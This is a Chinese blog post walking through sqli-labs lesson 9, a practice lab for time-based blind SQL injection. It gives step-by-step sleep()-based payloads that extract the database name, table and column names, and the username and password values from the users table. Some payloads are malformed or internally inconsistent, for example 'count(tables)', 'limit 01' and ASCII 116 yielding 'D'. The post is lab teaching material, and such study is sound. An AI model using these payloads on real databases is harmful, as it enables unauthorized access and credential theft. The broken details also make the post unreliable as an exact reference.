zoukankan      html  css  js  c++  java
  • 注入之基于时间的注入--sqlilabs-lesson9

    基于时间的注入

     当输入:and 1=1 与and 1=2 返回的界面一样时,可以用sleep()也就是基于时间的注入

    第一步:输入and 1=1以及and 1=2

    第二步:使用sleep()函数,可观察到刷新了10秒才返回界面

    第三步:猜测库名的长度 and if((length(database())=1),1,sleep(10)) --+

    所以库名字的长度为8

    第四步:猜测库名 and if((ascii(mid((database()),1,1))=1),1,sleep(10)) --+

    Mid(*,1,1)第一个1为位数,第二个1为长度,通过改变第一个1,从而爆破出库名

    查表为:s

    查表为:e

    查表为:c

    查表为:u

    查表为:r

    查表为:i

    查表为:t

    查表为:y

    库名:security

    下面的同理:

    第六步:查表的数目if((select count(tables)=4),1,sleep(10)) --+

    第七步:查表名If(ascii(substr((select table_name from information_schema.tables where table_schema=‘security‘ limit 0,1),1,1))=101,1,sleep(10))--+

    可以查到所有的表名为:emails,referers,uagents,users

    第八步:查users表的列值

    if((select count(column)=3),1,sleep(10)) --+

    If(ascii(substr((select column_name from information_schema.columns where table_name=‘users‘ limit 0,1),1,1))=105,1,sleep(5))--+

    可以知道:列名为:id,username,password

    第九步:查查username列以及password列的内容的长度

    if((select length(username)=4),1,sleep(10)) --+根据刷新速度,可知长度为4

    同理:

    if((select length(password)=4),1,sleep(10)) --+根据刷新速度,可知长度为4

    这里也可以使用bp爆破

    第十步:查username列以及password列的内容

    If((ascii(mid((select username from security.users limit 0,1),1,1))=116),1,sleep(10)) --+

    If((ascii(mid((select password from security.users limit 01),1,1))=116),1,sleep(10)) --+

    查表为:D

    查表为:u

    查表为:m

    查表为:b

    Username的内容为:Dumb

     查表为:D

    查表为:u

    查表为:m

    查表为:b

    内容为Dumb

  • 相关阅读:
    linux将home目录扩容到根目录
    Daily Build
    H公司数据同步的总结
    VB2010新特性之——标识语言版本的新命令行选项/langversion (Visual Basic)
    Linux安装Jemalloc
    Lnmp切换PHP版本
    Server2008通过bat命令自动定时备份MySQL数据库
    IIS 安装AspNetCoreModule托管模块
    JavaScript 学习笔记——Math属性及其方法
    js完美多物体运动框架(缓冲运动)
  • 原文地址:https://www.cnblogs.com/glorious1314-151/p/12238807.html
Copyright © 2011-2022 走看看